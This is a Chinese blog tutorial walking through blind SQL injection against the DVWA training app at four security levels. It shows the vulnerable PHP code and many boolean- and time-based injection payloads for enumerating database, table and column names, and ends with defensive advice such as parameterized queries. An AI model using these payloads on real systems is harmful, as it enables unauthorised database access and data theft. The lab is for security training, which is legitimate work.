DVWA学习(二)SQL Injection(Blind)

本文深入解析SQL盲注攻击原理及手法,通过DVWA平台四种安全级别实例,详细阐述手工盲注过程,包括判断注入类型、猜解数据库信息、表名、字段名及数据等关键步骤。

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注思路

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

下面对DVWA四种安全级别的代码进行分析。

Low

服务器端核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Get input
	$id = $_GET[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种:

	$html .= '<pre>User ID exists in the database.</pre>';
	$html .= '<pre>User ID is MISSING from the database.</pre>';

因此这里是SQL盲注漏洞。

漏洞利用

首先演示基于布尔的盲注

1.判断是否存在注入,注入是字符型还是数字型

输入1,显示相应用户存在:
在这里插入图片描述
输入1’ and 1=1 #,显示存在:
在这里插入图片描述
输入1’ and 1=2 #,显示不存在:
在这里插入图片描述
说明存在字符型的SQL盲注。

2.猜解当前数据库名

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

输入1’ and length(database())=1 #,显示不存在;
输入1’ and length(database())=2 #,显示不存在;
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:

在这里插入图片描述
说明数据库名长度为4。
下面采用二分法猜解数据库名。

  • 输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
  • 输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
  • 输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
  • 输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
  • 输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
  • 输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

    重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。

3.猜解数据库中的表名

首先猜解数据库中表的数量:

  • 1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
  • 1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。
接着挨个猜解表名:

  • 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
  • 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
  • 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9。

  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
  • 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。
重复上述步骤,即可猜解出两个表名(guestbook、users)。

4.猜解表中的字段名

首先猜解表中字段的数量:

  • 1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在
  • 1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表有8个字段。
接着挨个猜解字段名:

  • 1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在
  • 1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名。

5.猜解数据

同样采用二分法。
还可以使用基于时间的盲注

1.判断是否存在注入,注入是字符型还是数字型
  • 输入1’ and sleep(5) #,感觉到明显延迟,5秒左右;
  • 输入1 and sleep(5) #,没有延迟;
2.猜解当前数据库名

首先猜解数据名的长度:

  • 1’ and if(length(database())=1,sleep(5),1) # 没有延迟
  • 1’ and if(length(database())=2,sleep(5),1) # 没有延迟
  • 1’ and if(length(database())=3,sleep(5),1) # 没有延迟
  • 1’ and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。
接着采用二分法猜解数据库名:

  • 1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
  • 1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
  • 1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。
重复上述步骤,即可猜解出数据库名。

3.猜解数据库中的表名

首先猜解数据库中表的数量:

  • 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
  • 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。
接着挨个猜解表名:

  • 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
  • 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。
采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的数量:

  • 1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
  • 1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。
接着挨个猜解字段名:

  • 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
  • 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。
采用二分法即可猜解出各个字段名。

5.猜解数据

同样采用二分法。

Medium

服务器端核心代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$id = $_POST[ 'id' ];
	$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	//mysql_close();
}

?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
在这里插入图片描述

漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。
之前已经介绍了详细的盲注流程,这里就简要演示几个。
首先是基于布尔的盲注
抓包改参数或者使用hackbar修改

  • id为1 and length(database())=1 #,显示不存在
    在这里插入图片描述
    id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
    在这里插入图片描述
    在这里插入图片描述
  • id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
  • id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

然后是基于时间的盲注
抓包改参数或者使用hackbar修改

  • id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
  • id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
  • id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

High

服务器端核心代码

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
	// Get input
	$id = $_COOKIE[ 'id' ];

	// Check database
	$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

	// Get results
	$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
	if( $num > 0 ) {
		// Feedback for end user
		$html .= '<pre>User ID exists in the database.</pre>';
	}
	else {
		// Might sleep a random amount
		if( rand( 0, 5 ) == 3 ) {
			sleep( rand( 2, 4 ) );
		}

		// User wasn't found, so the page wasn't!
		header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

		// Feedback for end user
		$html .= '<pre>User ID is MISSING from the database.</pre>';
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

  • 抓包将cookie中参数id改为1’ and length(database())=1 #,显示不存在
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • 抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
  • 抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
  • 抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

Impossible

服务器端核心代码

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$id = $_GET[ 'id' ];

	// Was a number entered?
	if(is_numeric( $id )) {
		// Check the database
		$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
		$data->bindParam( ':id', $id, PDO::PARAM_INT );
		$data->execute();

		// Get results
		if( $data->rowCount() == 1 ) {
			// Feedback for end user
			$html .= '<pre>User ID exists in the database.</pre>';
		}
		else {
			// User wasn't found, so the page wasn't!
			header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

			// Feedback for end user
			$html .= '<pre>User ID is MISSING from the database.</pre>';
		}
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

本文参考https://www.freebuf.com/articles/web/120985.html

### SQL InjectionBlind) 简介 SQL InjectionBlind)即 SQL 盲注,是一种特殊的 SQL 注入攻击方式。在这种攻击中,攻击者无法直接从应用程序的响应中获取 SQL 查询的结果,而是通过构造特殊的 SQL 语句,根据应用程序返回的不同响应(如页面响应时间、页面显示内容的变化等)来推断数据库中的信息。 ### 攻击方法 #### 基于布尔的盲注 攻击者通过构造 SQL 语句,使数据库根据条件返回不同的结果,通过判断应用程序的响应来确定条件是否成立,逐步获取数据库信息。例如,在登录框输入用户名 `&#39; AND 1=1 --` 和 `&#39; AND 1=2 --`,如果前者登录成功而后者失败,说明存在 SQL 盲注漏洞,且数据库能够正确处理 `1=1` 这个条件。 #### 基于时间的盲注 当应用程序对所有 SQL 查询的响应都是相同的,无法通过布尔判断时,攻击者可以利用数据库的延时函数,通过判断应用程序的响应时间来推断信息。例如,构造 SQL 语句 `&#39; AND SLEEP(5) --`,如果应用程序响应时间明显增加了 5 秒,就说明存在 SQL 盲注漏洞。 ### 防护措施 #### 输入验证 对用户输入的数据进行严格的验证和过滤,只允许合法的字符和格式。例如,对于数字类型的输入,只允许输入数字字符;对于字符串类型的输入,去除特殊字符和 SQL 关键字。 ```python import re def validate_input(input_data): # 只允许字母和数字 pattern = re.compile(r&#39;^[a-zA-Z0-9]+$&#39;) if pattern.match(input_data): return True return False ``` #### 使用参数化查询 使用数据库提供的参数化查询功能,将用户输入的数据作为参数传递给 SQL 语句,而不是直接拼接在 SQL 语句中。这样可以防止 SQL 注入攻击,因为数据库会自动处理参数的转义。例如,在 Python 中使用 `sqlite3` 进行参数化查询: ```python import sqlite3 conn = sqlite3.connect(&#39;example.db&#39;) cursor = conn.cursor() username = "test&#39; OR &#39;1&#39;=&#39;1" password = "password" # 使用参数化查询 cursor.execute("SELECT * FROM users WHERE username =? AND password =?", (username, password)) result = cursor.fetchone() ``` #### 最小化数据库权限 为应用程序分配最小的数据库权限,只允许其执行必要的操作。例如,如果应用程序只需要查询数据,就不授予其插入、更新和删除数据的权限。 ### 案例 假设存在一个简单的用户信息查询页面,用户可以通过输入用户 ID 来查询用户信息。页面的 SQL 查询语句如下: ```sql SELECT * FROM users WHERE id = &#39;$id&#39;; ``` 攻击者可以构造如下的 SQL 盲注语句来获取数据库信息: - 基于布尔的盲注:输入 `1&#39; AND (SELECT COUNT(*) FROM users) > 10 --`,如果页面显示正常,说明用户表中的记录数大于 10;如果页面报错或显示异常,说明记录数小于等于 10。 - 基于时间的盲注:输入 `1&#39; AND SLEEP(5) --`,如果页面响应时间明显增加了 5 秒,说明存在 SQL 盲注漏洞。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值